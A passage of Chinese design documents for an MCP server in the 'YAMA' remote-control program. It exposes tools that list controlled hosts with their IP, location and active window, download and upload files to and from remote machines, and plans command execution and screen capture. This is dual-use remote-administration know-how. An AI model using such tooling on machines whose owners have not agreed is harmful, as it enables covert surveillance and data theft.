{"jsonrpc":"2.0","id":3,"result":{
"structuredContent":{
"hosts":[
{"id":"123","name":"DESKTOP-ABC","remark":"我的Windows","ip":"192.168.0.92",
"os":"Windows 10","location":"上海市","rtt":"12","version":"...",
"activeWindow":"WeChat","online":true,"group":"default","screen":"1:1920x1080","clientType":"EXE"}
]
},
"content":[{"type":"text","text":"共 1 台主机在线。"}],
"isError":false
}}
```
#### 3.3.4 可选实现
- `ping`:返回空 result便于健康检查
- `notifications/initialized`:客户端通知,可忽略
#### 3.3.5 错误响应JSON-RPC 2.0 标准)
协议层必须处理以下错误,返回标准 `error` 结构(`id` 回填请求 id
| 场景 | code | message |
|---|---|---|
| 请求体不是合法 JSON | `-32700` | Parse error |
| 请求结构不合法(缺 jsonrpc/method 等) | `-32600` | Invalid Request |
| 方法未实现 | `-32601` | Method not found |
| 参数非法 | `-32602` | Invalid params |
| 内部错误 | `-32603` | Internal error |
示例(方法未实现):
```json
{"jsonrpc":"2.0","id":1,"error":{"code":-32601,"message":"Method not found"}}
```
#### 3.3.6 传输层约定Streamable HTTP 最小子集)
- 客户端 `POST /mcp`,请求头 `Content-Type: application/json``Accept: application/json, text/event-stream`
- 服务端返回 `Content-Type: application/json`MVP 工具调用为 request/response无需 SSE 流式)。
- `initialize` 响应可回填 `Mcp-Session-Id` 头用于会话管理MVP 单会话可省略,实现时对照最新 MCP 规范确认。
- 仅接受 `POST /mcp`,其余路径/方法返回 404/405。
### 3.4 工具设计:`list_online_hosts`
#### 取数方案(已定:抽公共函数)
`BuildDeviceListJson` 目前是 `CWebService` 的 private 方法,且依赖 `m_pParentDlg`。为满足「MCP 与 WebService 是平级数据消费者、不互相依赖」的原则,采用**方案 C抽公共函数**。
```cpp
// 公共函数:提取单台在线主机的完整数据(含 GBK/UTF-8 编码处理),返回 UTF-8 的 Json::Value
Json::Value BuildHostJson(context* ctx, _ClientList* clientMap);
```
- `CWebService::BuildDeviceListJson` 内部改调该公共函数Web 侧签名与输出不变(零回归)。
- `McpServer` 侧持 `CMy2015RemoteDlg*``SetParentDlg`),在 `m_cs` 锁内遍历 `m_HostList``IsLogin()` 过滤,对每台主机调 `BuildHostJson`,组装为结构化输出。
- **职责边界**:用户名/分组过滤(`username``allowed_groups`)、`m_cs` 加锁、以及外层结构Web 的 `{"cmd","devices"}` vs MCP 的 `{"hosts"}`)属于**调用方**,不进公共函数;`BuildHostJson` 只负责「单台主机 → `Json::Value`」的字段序列化与编码转换。其中 `remark` 依赖 `m_ClientMap->GetClientMapData(id, MAP_NOTE)`,故 `clientMap` 作为参数传入。
选型说明:方案 AMCP 依赖 `CWebService` 单例)依赖方向错误,且 `WebSvrPort=0``m_pParentDlg` 为空导致取不到数;方案 BMCP 自持父对话框复制逻辑)违反 DRY、重复易错的编码处理。故取 C。
#### 返回内容(全量,含实时信息)
**保留 `BuildDeviceListJson` 的全部字段,不做精简**以支持「AI 协助监督客户端运行状态」的场景:
- 基础标识:`id` / `name` / `remark` / `ip` / `os` / `location` / `group` / `version` / `clientType` / `screen`
- 实时信息:`rtt`(延迟)、`activeWindow`(当前活动窗口,即被控端正在做什么)
输出结构 `{"hosts": [...]}`,每台主机一个对象,字段与 §3.3.2 的 `outputSchema` 一致。
### 3.5 安全设计
- **绑定地址**:默认 `127.0.0.1`(仅本机回环,其他机器无法访问);可经 `McpBind` 配置为 `0.0.0.0`(所有网卡)或内网 IP`192.168.0.92`)以支持远程调用。
- 非回环绑定时 token 经明文 HTTP 传输,需强 token并建议配合防火墙限制源 IP 或启用 HTTPS项目已有 WebHTTPS 实践)。
- **静态 token 校验**:每个 `POST /mcp` 请求校验 `Authorization: Bearer <token>` header不匹配返回 HTTP 401。
- **token 来源**(优先顺序):环境变量 `YAMA_MCP_TOKEN``THIS_CFG``McpToken` → 两者皆空则**随机生成**。
- 前两者任一非空即作为固定 token仅当两者皆空时才随机生成仅本次进程运行期间有效进程重启后重新生成不同的 token
- 随机生成时**必须将 token 输出到日志**`Mprintf`),否则用户无从获知、无法在 Claude Code 侧配置。
- 环境变量名 `YAMA_MCP_TOKEN` 建议同 `BRAND_WEB_ENV_VAR` 一样在 `UIBranding.h` 定义为宏(如 `BRAND_MCP_ENV_VAR`),避免散落硬编码字符串。
- **只读边界**MVP 仅一个只读工具,不暴露任何写/操控能力。
- **HTTP 方法限制**:仅接受 `POST /mcp`,其余返回 404/405。
### 3.6 配置设计
沿用现有 `THIS_CFG``settings` 节):
| 配置键 | 默认值 | 说明 |
|---|---|---|
| `McpEnabled` | `0` | MCP 总开关:`0` = 禁用(默认),`1` = 启用。经「扩展 → MCP设置」对话框设置 |
| `McpPort` | `6544` | MCP 监听端口;仅当 `McpEnabled=1` 时生效;未配置用默认 `6544` |
| `McpBind` | `127.0.0.1` | 监听地址;默认仅本机;可设 `0.0.0.0`(所有网卡)或内网 IP`192.168.0.92`)以支持远程 |
| `McpToken` | 空UI 默认随机值) | 静态 token对话框内「token 必填、默认随机值」——首次打开若为空则预填随机并随保存持久化。运行时优先级env `YAMA_MCP_TOKEN``McpToken` → 皆空则随机生成(见 §3.5 |
> 与旧版「`McpPort=0` 即禁用」不同:启用与否改由独立的 `McpEnabled` 开关控制,`McpPort` 回归纯端口语义,二者解耦。
### 3.7 生命周期接入
`2015RemoteDlg.cpp` Web 服务启动块(约 `2048-2081`)之后,新增 MCP 启动逻辑。`McpServer``CWebService` 同为单例:提供 `static McpServer& Instance()` 与全局 `inline McpServer& McpServer()` 访问器(仿 `WebService()`,见 `WebService.h` 末尾的全局访问器写法)。
```cpp
auto mcpEnabled = THIS_CFG.GetInt("settings", "McpEnabled", 0); // 默认禁用
auto mcpPort = THIS_CFG.GetInt("settings", "McpPort", 6544);
auto mcpBind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
if (mcpEnabled) {
// token 优先顺序env YAMA_MCP_TOKEN → THIS_CFG McpToken → 皆空则随机(仅本次进程有效)
const char* envTok = getenv("YAMA_MCP_TOKEN");
std::string mcpToken;
if (envTok && *envTok) {
mcpToken = envTok;
} else {
mcpToken = THIS_CFG.GetStr("settings", "McpToken", "");
}
if (mcpToken.empty()) {
mcpToken = GenerateRandomToken(); // 32 hex 随机串
Mprintf("[McpServer] YAMA_MCP_TOKEN / McpToken 均未设置,本次进程随机 token%s\n", mcpToken.c_str());
}
McpServer().SetParentDlg(this); // 方案 CMCP 需遍历 m_HostList须持父对话框指针
McpServer().SetToken(mcpToken);
if (!McpServer().Start(mcpBind, mcpPort)) {
Mprintf("McpServer start failed on %s:%d\n", mcpBind.c_str(), mcpPort);
}
}
```
并在退出路径(`OnDestroy` / `ExitInstance` 对应位置)调用 `McpServer().Stop()`
### 3.8 「MCP设置」配置对话框
MCP 默认不启用,通过主对话框「扩展 → MCP设置」菜单项打开配置对话框来开启。菜单项位置`2015Remote.rc` 扩展菜单(`POPUP "扩展(&X)"`)内、「地理信息(&L)」子菜单(纯真数据库 / IP2Region`END` 之后、「插件设置」之前。
#### 3.8.1 菜单与资源接线
1. **`resource.h`**:新增命令 ID取当前空闲段经查 `33077` 空闲):
```cpp
#define ID_MCP_SETTINGS 33077
```
2. **`2015Remote.rc`**:在「地理信息(&L)」子菜单 `END` 之后、`插件设置` 之前插入:
```
MENUITEM "MCP设置(&M)...", ID_MCP_SETTINGS
```
并新增对话框资源 `IDD_DIALOG_MCP_SETTINGS`(「启用 MCP」复选框 + 端口/绑定地址/token 三个编辑框 + 确定/取消按钮)。
3. **`UIBranding.h`**:扩展菜单隐藏开关新增一行(默认 `0` 显示):
```cpp
#define HIDE_MENU_MCP_SETTINGS 0 // MCP设置
```
4. **`FeatureFlags.h`**:新增运行时许可位,占用 MenuFlags 保留段 `[43-63]` 的首位(紧跟 `MF_REQUEST_AUTH` 之后):
```cpp
#define MF_MCP_SETTINGS (1ULL << 43) // HIDE_MENU_MCP_SETTINGS
```
5. **`2015RemoteDlg.cpp`**`#include "McpSettingsDlg.h"`,然后消息映射 + 处理器 + 剪枝:
```cpp
ON_COMMAND(ID_MCP_SETTINGS, &CMy2015RemoteDlg::OnMcpSettings)
// ...
void CMy2015RemoteDlg::OnMcpSettings()
{
CMcpSettingsDlg dlg(this);
dlg.DoModal();
}
```
并在扩展菜单剪枝块(`pExtMenu`,约 `2015RemoteDlg.cpp:1225` 之后)追加:
```cpp
if (SHOULD_HIDE_MENU(HIDE_MENU_MCP_SETTINGS, MF_MCP_SETTINGS))
pExtMenu->DeleteMenu(ID_MCP_SETTINGS, MF_BYCOMMAND);
```
> **实现注意**`2015Remote.rc` 为 UTF-16 编码,菜单与对话框资源须由 VS 资源编辑器维护(手工改文本易破坏编码与资源 ID 引用)。`IDD_DIALOG_MCP_SETTINGS` 需在 `resource.h` 分配独立空闲的 `IDD_` 数值(与 `ID_MCP_SETTINGS` 分开);对话框内控件 ID如 `IDC_CHK_ENABLE_MCP` / `IDC_EDIT_MCP_PORT` / `IDC_EDIT_MCP_BIND` / `IDC_EDIT_MCP_TOKEN`)同理。
#### 3.8.2 对话框字段与默认值
| 控件 | 绑定配置键 | 默认值 | 说明 |
|---|---|---|---|
| 「启用 MCP」复选框 | `McpEnabled` | 未勾选(`0` | 勾选后持久化 `McpEnabled=1` |
| 端口 | `McpPort` | `6544` | 数字编辑框,仅当启用时有效 |
| 绑定地址 | `McpBind` | `127.0.0.1` | 默认仅本机;可改 `0.0.0.0` / 内网 IP |
| Token | `McpToken` | 随机值 | 必填;为空时预填随机 token |
#### 3.8.3 初始化与保存
打开时读 `THIS_CFG` 回填token 为空则当场生成随机值预填32 hex。保存时落盘并弹重启提醒
```cpp
BOOL CMcpSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
int enabled = THIS_CFG.GetInt("settings", "McpEnabled", 0);
int port = THIS_CFG.GetInt("settings", "McpPort", 6544);
std::string bind = THIS_CFG.GetStr("settings", "McpBind", "127.0.0.1");
std::string tok = THIS_CFG.GetStr("settings", "McpToken", "");
if (tok.empty()) tok = GenerateRandomToken(); // 预填随机,随保存持久化
// 回填到控件m_bEnabled / m_nPort / m_strBind / m_strToken
return TRUE;
}
void CMcpSettingsDlg::OnBnClickedBtnSave()
{
// 从控件收集enabled / port / bind / token
if (enabled && token.empty()) {
MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
return;
}
THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
THIS_CFG.SetInt("settings", "McpPort", port);
THIS_CFG.SetStr("settings", "McpBind", bind);
THIS_CFG.SetStr("settings", "McpToken", token);
MessageBoxL(_TR("MCP 设置已保存。\n启用/端口/绑定地址/Token 的改动需重启程序生效。"),
_TR("提示"), MB_ICONINFORMATION);
CDialogLangEx::OnOK();
}
```
#### 3.8.4 与运行时 token 逻辑的衔接
对话框的「默认随机 token」是把随机值**写入 `McpToken` 并持久化**,于是下次启动走 `env → McpToken` 的固定 token 分支;运行时「两者皆空则随机」分支仅在用户从未通过对话框设置过(或手动清空 token时兜底两者不冲突。`GenerateRandomToken()` 为 MCP 侧新增的小工具函数32 hex 随机串,可用 `rand_s` / `BCryptGenRandom` 实现;如需可复用 `WebServiceAuth.h` 的 `ComputeSHA256` 派生)。
---
## 4. 实施步骤
| 步骤 | 内容 | 验收 |
|---|---|---|
| 1 | 新建 `McpProtocol`JSON-RPC 分发 + `initialize`/`tools/list`/`tools/call`(含 jsoncpp 解析/序列化) | 单元自测:手写请求串,验证响应 |
| 2 | 新建 `McpServer`httplib 起 `127.0.0.1:6544``POST /mcp` 路由 + token 校验(含随机生成) | curl 请求返回 401/正常 |
| 3 | 抽公共函数 `BuildHostJson``CWebService::BuildDeviceListJson` 改调之 | Web 输出不变,零回归 |
| 4 | 注册 `list_online_hosts` 工具handler 持父对话框、`m_cs` 锁内遍历、调 `BuildHostJson` 组装 | `tools/call` 返回主机列表 |
| 5 | 新增 `McpSettingsDlg` + 菜单项接线(`ID_MCP_SETTINGS` / `OnMcpSettings` / `HIDE_MENU_MCP_SETTINGS` / `IDD_DIALOG_MCP_SETTINGS` 资源) | 对话框可启用/禁用、配置端口/绑定/token保存落盘并提示重启 |
| 6 | 接入 `2015RemoteDlg` 启动/停止(按 `McpEnabled` 门控)+ 配置 | 服务端启动后端口监听正常 |
| 7 | Claude Code 接入验证(见 §5 | 见验收标准 |
---
## 5. 验收标准
1. 在「MCP设置」对话框启用并重启服务端后`127.0.0.1:6544` 监听正常,外部地址无法访问;未启用时该端口不监听。
2. 无 token 的请求返回 HTTP 401错误 token 返回 401正确 token 通过。
3. `curl` 模拟 `initialize` → `tools/list` → `tools/call` 全流程,返回符合 JSON-RPC 2.0 与 MCP 规范。
4. Claude Code 侧:
```bash
claude mcp add yama --transport http http://127.0.0.1:6544/mcp -H "Authorization: Bearer <token>"
```
`claude mcp list` 能看到 `yama`,在对话中问「列出在线主机」能正确触发工具并返回列表。
5. 现有 Web 控制台、IOCP 主服务功能无回归。
---
## 6. 风险与约束
| 风险 | 说明 | 应对 |
|---|---|---|
| 无官方 C++ MCP SDK | 需手写 JSON-RPC 协议层 | 仅实现 3 个方法,量小可控;协议稳定后再考虑抽库 |
| MCP 规范版本演进 | protocolVersion 字符串需与客户端匹配 | 实现时对照最新规范;`initialize` 返回可协商版本 |
| 并发安全 | 遍历 `m_HostList` 需持 `m_cs` | MCP 与 WebService 采用相同的「`m_cs` 锁内遍历」模式 |
| 字符编码 | GBK/UTF-8 分叉 | 复用公共函数 `BuildHostJson` 的编码处理,不自造 |
| token 存储 | `THIS_CFG` 的 token 会明文落盘;随机 token 会打印到日志 | 本地回环 + 只读,风险可控;敏感场景建议仅用 env 并妥善保管 |
---
## 7. 后续扩展规划(本期不做)
- 工具:`get_host_processes`(进程列表)、`execute_command`(命令执行)、`capture_screen`(截图)等
- 写操作工具的安全边界评审(操作对象、权限、审计)
- 认证升级:复用 `WebServiceAuth` 的签名 token / 过期机制
- 分组过滤:`list_online_hosts` 加 `group` 参数
---
## 8. 决策记录
**决策记录(全部已定):**
- ✅ **启用开关**:新增 `McpEnabled`,默认 `0`禁用。MCP 默认不启动,须用户在「扩展 → MCP设置」对话框手动开启。
- ✅ **端口**`McpPort` 可配置,未配置默认 `6544`(纯端口语义,不再兼任启用开关)。
- ✅ **token**:优先顺序 env `YAMA_MCP_TOKEN` → `THIS_CFG.McpToken` → 皆空则随机生成(仅本次进程有效,打印到日志)。对话框内 token 必填、默认随机值(预填并随保存持久化到 `McpToken`)。
- ✅ **绑定地址**:默认 `127.0.0.1`(仅本机);可配置为 `0.0.0.0` 或内网 IP如 `192.168.0.92`)以支持多人协作跨机调用。
- ✅ **配置入口**:主对话框「扩展」菜单,位于「地理信息(&L)」子菜单下方新增「MCP设置」菜单项打开独立配置对话框。
- ✅ **生效方式**MCP 启用/端口/绑定/token 的改动均需重启服务端生效,对话框保存后弹窗提醒「重启程序生效」。
- ✅ **取数方案**C抽公共函数 `BuildHostJson`MCP 与 WebService 平级复用)。
- ✅ **返回字段**:全量,含实时信息(`rtt` / `activeWindow`),支持 AI 监督场景。
- ✅ **序列化**`structuredContent` + `outputSchema``content` 附带可读摘要。

View File

@@ -0,0 +1,396 @@
# YAMA MCP 文件传输功能设计download_file / upload_file
> **状态**:设计定稿(经专家审查修订,结论见 §13。`download_file`P1已实施并验收`upload_file`P2已实施详见 §7评审修订见 §13.1)。`download_file` 采用 **V2 文件传输协议**`CMD_DOWN_FILES_V2` + 流式子连接 + SHA-256 校验),`upload_file` 复用服务端既有 `FileBatchTransferWorkerV2`(主连接同步驱动)。两者共享同一套「文件会话」注册表。
> **读者**MCP 后续功能研发/评审人员。
> **关联文档**[Mcp_Phase2_Design.md](./Mcp_Phase2_Design.md)(双模式无头驱动机制)、[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)V2 协议清单)、[Mcp_Design.md](./Mcp_Design.md)Phase 1 协议/架构/配置)。
---
## 1. 背景与目标
MCP 目前已暴露 `list_files`(只读列目录,`McpServer.cpp:1741`),但**没有文件传输工具**:把远程主机的文件/目录拉回主控本机(下载),或把本机文件推到远程(上传),只能通过 GUI 文件管理器手工操作。
本技术书解决:
1. **`download_file`**(本期 P1——远程文件/目录 → 主控本机指定目录,复用 V2 推送协议,带 SHA-256 完整性校验、支持大文件。
2. **`upload_file`**(后续 P2——主控本机文件/目录 → 远程指定目录,复用服务端 V2 发送器。
3. **一套共享的「流式文件会话」基础设施**——一次投入,下载/上传两处受益,镜像现有终端(`TermSession`)与远程控制(`ScreenCtrlSession`)会话模式。
---
## 2. 现状回顾
| 能力 | 现有协议/命令 | 服务端现有实现 | 是否暴露给 MCP |
|---|---|---|---|
| 远程列目录 | `COMMAND_LIST_DRIVE``TOKEN_DRIVE_LIST``COMMAND_LIST_FILES``TOKEN_FILE_LIST` | `McpServer.cpp:1741``list_files` | ✅ |
| 远程→本地下载V1 | `COMMAND_DOWN_FILES`(`commands.h:166`) + `TOKEN_FILE_SIZE/DATA/FINISH` | `FileManagerDlg.cpp:2164` / `file/CFileManagerDlg.cpp:1136` | ❌ 仅 GUI |
| 远程→本地下载V2 | `CMD_DOWN_FILES_V2`(94, `commands.h:260`) + `COMMAND_SEND_FILE_V2`(85) + `COMMAND_FILE_COMPLETE_V2`(91) | `FileManagerDlg.cpp:3337-3384`(下发)、`2756``RecvFileChunkV2` 落盘) | ❌ 仅 GUI |
| 本地→远程上传V2 | `FileBatchTransferWorkerV2`(服务端作 sender | `2015RemoteDlg.cpp:7572` | ❌ 仅 GUI |
### 2.1 关键事实
1. **V2 下载的客户端会另开一条新子连接**`client/FileManager.cpp:1101-1190` `UploadToRemoteV2()` 解析完文件列表后,`new IOCPClient(...)``EnableSubConnAuth()``ConnectServer(...)``FileManager.cpp:1170-1172`),在**独立鉴权子连接**上推 `COMMAND_SEND_FILE_V2` 分块 + `COMMAND_FILE_COMPLETE_V2` 校验包。即下载 ≠ 复用文件管理器那条子链接,而是一条**持续流子链接**——正属 `Mcp_Phase2_Design.md §4.3` 当初判定「本期不做」的流式能力。
2. **接收端 `RecvFileChunkV2` 无 UI 可调**`CDlgFileSend.cpp:128``RecvFileChunkV2(buf, len, nullptr, nullptr, hash, hmac, 0)` 无头落盘;落盘状态在 `SimplePlugins/file_upload.cpp` 内部按 `transferID` 自维护,天然适合 MCP 无头复用。
3. **V2 落盘路径由客户端回填**`CMD_DOWN_FILES_V2``targetDir` 是**主控本机**保存目录(`FileManagerDlg.cpp:3370` `m_Local_Path`);客户端把它拼进每个 chunk 的 `filename` 发回,服务端 `RecvFileChunkV2` 直接按该完整路径写盘。因此「下载保存到哪」由服务端在命令里指定、客户端原样回填。
---
## 3. 协议选型已定V2
| 维度 | **V2 推送(选定)** | V1 拉取(回退) |
|---|---|---|
| 命令 | `CMD_DOWN_FILES_V2` + `COMMAND_SEND_FILE_V2` + `COMMAND_FILE_COMPLETE_V2` | `COMMAND_DOWN_FILES` + `TOKEN_FILE_SIZE/DATA/FINISH` |
| 连接 | 客户端新开一条鉴权流式子连接 | 复用文件管理器子链接 |
| 完整性 | ✅ SHA-256`COMMAND_FILE_COMPLETE_V2` | ❌ 无 |
| 大文件 | ✅ 64 位偏移,>4GB | 64 位偏移但无校验 |
| 客户端代码 | ✅ 已存在,是当前 GUI 正规路径 | ⚠️ 遗留路径 |
| MCP 侧复杂度 | 需路由一条**新流式子连接**(新增会话注册表) | 需在 `MessageHandle` 维护「发 CONTINUE/收 DATA」状态机逐块 ACK 慢 |
**结论:采用 V2。** 代价是服务端要新增「流式文件会话」注册与路由;但这是 `upload_file` 同样要复用的基础设施一次投入两处受益。V1 仅作「不想引入新子连接路由」时的降级备案,不在本期实现。
---
## 4. 设计原则
1. **复用现有协议,不新造命令**`CMD_DOWN_FILES_V2``COMMAND_SEND_FILE_V2``COMMAND_FILE_COMPLETE_V2``COMMAND_LIST_DRIVE` 全部为 `common/commands.h` 既有客户端零改动upload 方向例外:`COMMAND_SEND_FILE_V2` 需懒初始化文件模块,见 §7.8)。
2. **无头接管复用会话模式**:镜像 `McpServer.h``TermSession` / `ScreenCtrlSession`,新增 `FileTransferSession``MessageHandle``IsFileTransferContext(context*)` 判定是否路由到 MCP 无头落盘,否则回落 GUI 进度框。
3. **单设备单传输会话**:与终端/远程控制一致,避免同 host 并发传输的归属歧义;并发返回 `-32003 Device busy`
4. **超时与清理是硬约束**:大文件传输是长任务,超时需独立于 `kMcpToolTimeoutMs`(20s);断线/超时必须清会话 + 关子链接 + 删半成品文件。
5. **输出 schema 先行**:两个工具先在 `tools/list` 声明完整 `inputSchema`/`outputSchema`
---
## 5. 核心机制:流式文件会话
### 5.1 会话注册表(`McpServer.h/.cpp`
```cpp
struct FileTransferSession {
std::string tool; // "download_file" / "upload_file"
std::string localDir; // download: 本机落盘目录(规范化后绝对路径,用于穿越校验)
std::string remotePath; // 审计用原始远程路径UTF-8
uint64_t transferID = 0; // 绑定后从首包填充downloadupload 由本端 GenerateTransferID()
uint32_t totalFiles = 0; // 完成判定:首个 COMMAND_SEND_FILE_V2 chunk 的 totalFiles§13 F4
uint32_t filesDone = 0; // 完成判定:累计收到的 COMMAND_FILE_COMPLETE_V2 数
bool done = false;
int error = 0; // FEV2_* / 自定义
std::vector<FileEntry> files; // {path, size} 已落盘/已发送文件
std::vector<FileEntry> skipped; // overwrite=false 时跳过的同名文件
time_t startAt = 0;
};
std::mutex m_FileXferMutex;
std::map<uint64_t, FileTransferSession> m_FileXferSessions; // device_id → 会话
```
> **取消 `m_FileXferContextToDevice` 映射与 `IsFileTransferContext(context*)`**:流式子连接经 `TOKEN_CONN_AUTH` 已把 `clientID` 钉在 `ContextObject` 上(`2015RemoteDlg.cpp:6411 SetID`),分派时直接用 `ContextObject->GetClientID()` 定位 `device_id`,无需 context 路由表§13 F1
配套接口(与 `BeginTermPending` / `OnTerminalData` / `WaitTerminalDone` 同构):
```cpp
bool BeginFileTransferPending(uint64_t device_id, const std::string& tool,
const std::string& localDir, const std::string& remotePath);
bool IsFileTransferPending(uint64_t device_id); // 分支顶部守卫
void OnFileChunkV2(uint64_t device_id, const BYTE* buf, ULONG len); // 路径校验 + 无头 RecvFileChunkV2
void OnFileCompleteV2(uint64_t device_id, const BYTE* buf, ULONG len);// SHA-256 + filesDone 计数
bool WaitFileTransferDone(uint64_t device_id, int timeoutMs, std::vector<FileEntry>& out);
void ClearFileTransfer(uint64_t device_id); // 失败/超时/断线收尾(删半成品)
```
### 5.2 流式子连接的路由device_id 键,镜像 `TOKEN_DRIVE_LIST` 守卫)
V2 下载的数据包 `COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 本就由 `MessageHandle``ContextObject->GetClientID()` 分派(`2015RemoteDlg.cpp:5842` / `6101`。MCP 只需在这两个 case 的 **`dstClientID==0`M2C分支顶部**加守卫:
```cpp
case COMMAND_SEND_FILE_V2: {
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
if (pkt->dstClientID == 0) {
uint64_t devId = ContextObject->GetClientID();
if (McpServer().IsFileTransferPending(devId)) { // ← 新增守卫:无头接管
McpServer().OnFileChunkV2(devId, szBuffer, len);
break; // 不建 CDlgFileSend、不设 hDlg
}
// ... 原 GUI 逻辑(建 CDlgFileSend + OnReceiveComplete不变
}
// ... C2C 分支dstClientID != 0完全不动
}
```
- `TOKEN_CONN_AUTH`(`6378`) **完全不动**——它只负责把 `clientID` 钉在 ctx 上,下载复用既有行为。
- `TOKEN_DRIVE_LIST`(`6430`) 既有 `IsPending(devId)` 守卫**扩展复用**`OnDriveList` 识别当前挂起工具为 `download_file` 时,改发 `CMD_DOWN_FILES_V2` 而非 `COMMAND_LIST_FILES`,发完即 `CancelIO` 文件管理器子链接数据走新流式子连接§13 F3
- 守卫为假时全部回落原 GUI/C2C 路径——对既有功能零影响(原则 #1§13 F7
---
## 6. `download_file` 设计P1
### 6.1 工具 Schema
```
input: {
id: string (必填, 主机 id)
remote_path: string (必填, 远程文件或目录绝对路径, 如 C:\Users\shaun\Pictures)
local_dir: string (必填, 主控本机保存目录; 不存在会自动创建)
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 则跳过)
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
}
output: {
files: [{ path: string, size: integer, sha256: string }] // 实际落盘文件
total_bytes: integer
skipped: integer
}
```
### 6.2 时序
```
MCP工具线程 服务端 MessageHandle 客户端
│ 1. BeginFileTransferPending(id,"download_file",localDir,remotePath) │
│ 2. 主连接发 COMMAND_LIST_DRIVE ────────────────────────────────────────► 开文件管理器子链接
│ 3. ◄── TOKEN_DRIVE_LIST ─────────────────────┤
│ OnDriveList → 锁外下发 CMD_DOWN_FILES_V2[targetDir\0][remote_path\0]\0 │
│ 4. ────────────────────────────────────────► UploadToRemoteV2()
│ (客户端另开一条鉴权流式子连接 ConnectServer)
│ 5. 新子连接 TOKEN_CONN_AUTH 钉 clientID → 后续分块按 device_id 守卫接管 │
│ 6. ◄── COMMAND_SEND_FILE_V2 分块流 ──────────┤
│ → OnFileChunkV2 → RecvFileChunkV2() 无头落盘
│ 7. ◄── COMMAND_FILE_COMPLETE_V2(SHA-256) ────┤
│ 8. 校验通过 → done → 唤醒工具线程 → CancelIO 两条子连接 → 返回 │
```
### 6.3 服务端改动
1. **`McpServer.h`**:新增 `FileTransferSession` 结构 + 注册表 + 接口声明§5.1)。
2. **`McpServer.cpp`**
- `BuildDownloadFileInputSchema/OutputSchema` + `BuildDownloadFile(...)``tools/call` 分派);
- `OnFileChunkV2`**先路径校验**chunk `filename` 规范化后仍在 `local_dir` 内,防 `..` 穿越§13 F5→ 调 `RecvFileChunkV2(buf,len,nullptr,nullptr,hash,hmac,0)` 无头落盘,记 `totalFiles`/进度;
- `OnFileCompleteV2``HandleFileCompleteV2` 校验 SHA-256 → `filesDone++``filesDone==totalFiles` 时置 `done` + `notify`§13 F4
- `hash/hmac` 镜像 `FileManagerDlg.cpp:2755``GetPwdHash()/GetHMAC(100)`,兼容客户端 M2C `hmac` 为空(`client/FileManager.cpp:1167`§13 F6
- `ClearFileTransfer`(发送失败/超时/断线):`CancelIO` 子链接 + 删除半成品。
3. **`2015RemoteDlg.cpp``MessageHandle`**`COMMAND_SEND_FILE_V2`(85)、`COMMAND_FILE_COMPLETE_V2`(91) 的 `dstClientID==0` 分支顶部加 `IsFileTransferPending(devId)` 守卫;`TOKEN_DRIVE_LIST` 处扩展 `OnDriveList` 识别 `download_file` 改发 `CMD_DOWN_FILES_V2``TOKEN_CONN_AUTH` 与 C2C 分支**完全不动**。
4. **`McpSettingsDlg.cpp/.h`**:新增 `McpFileTransfer` 配置项(默认 0
### 6.4 落盘与路径安全
-`CMD_DOWN_FILES_V2` 前把 `local_dir` 规范化为绝对路径并 `CreateDirectory``targetDir` 用 ANSIMBCS 构建本机路径)。
- 每收到一个 chunk校验其 `filename` 规范化后**前缀必须在 `local_dir` 内**(防 `..` 穿越,呼应 `FILE_TRANSFER_V2.md §8.3` 已识别的风险);逃逸则置 `error``CancelIO`
- 编码:`remote_path` 走 UTF-8→ANSI(936)Windows 客户端,复用 `McpServer.cpp` 既有 `ToAnsi`,与 `list_files` 一致)。
### 6.5 超时与并发
- **P1 范围:同步 + 单文件/已打包目录**。一次 `tools/call` 阻塞到底,不引入 job/task 异步模型(决策见 §12。核心场景「先 `terminal_exec` 压缩成单 zip`download_file` 拉回」天然是单文件,同步足够。
- 默认 `timeout_ms=600000`、上限 3600000因大文件远超 `kMcpToolTimeoutMs`(20s)。
- **单飞互斥§13 F2**`BeginFileTransferPending` 与既有一次性 `m_Pending` **双向互斥**——下载登记时占用 `m_Pending`,反之 `BeginPending` 也检查 `m_FileXferSessions`,保证同 host 任意时刻只一个 MCP 工具在飞;并发返回 `-32003 Device busy`
- 断线(`OfflineProc` 擦会话)+ 超时(删半成品)双收尾。
---
## 7. `upload_file` 设计P2
### 7.1 工具 Schema
```
input: {
id: string (必填, 目标主机 id)
local_path: string (必填, 主控本机文件或目录绝对路径; 目录递归上传)
remote_dir: string (必填, 远程主机保存目录; 不存在会自动创建)
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 跳过)
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
}
output: {
files: [{ path: string, size: integer, sha256: string }] // 已发送文件远程完整路径P2 sha256 恒为空串(见 §7.5
total_bytes: integer
skipped: integer
}
```
### 7.2 方向与连接(与 download 的关键差异)
| 维度 | download_fileP1 | upload_fileP2 |
|---|---|---|
| 数据方向 | 远程客户端 → 主控 | 主控 → 远程客户端 |
| 发送方 | 客户端(`UploadToRemoteV2``FileBatchTransferWorkerV2` | 主控(`FileBatchTransferWorkerV2` |
| 连接 | 客户端**新开一条鉴权流式子连接** | 复用**主连接**`ctx->Send2Client`),无子连接 |
| 完成信号 | 客户端发 `COMMAND_FILE_COMPLETE_V2`,服务端 `OnFileCompleteV2` 校验计数 | 服务端**作为发送方**自己发 `COMMAND_FILE_COMPLETE_V2`SHA-256客户端 `HandleFileCompleteV2` 校验 |
| MessageHandle 改动 | 2 处守卫分支 + `OnDriveList` 扩展 | **零改动**(客户端 `KernelManager.cpp:1381` 接收,但需懒初始化文件模块,见 §7.8 |
> **修正旧稿§13.1 评审)**:旧稿写「只需等客户端回 `COMMAND_FILE_COMPLETE_V2`」是错的。V2 协议里 COMPLETE 包恒由**发送方**发、接收方校验,**无接收方→发送方 ACK**。upload 的服务端是发送方,故它**发** COMPLETE 而非「等」。这也意味着 upload 比 download 更简单——无需路由外来流式子连接、无需 `OnFileCompleteV2` 计数。
### 7.3 时序
```
MCP工具线程 主连接 (ctx→Send2Client) 客户端 KernelManager
1. 校验 McpFileTransfer=1 && McpReadonly=0§8
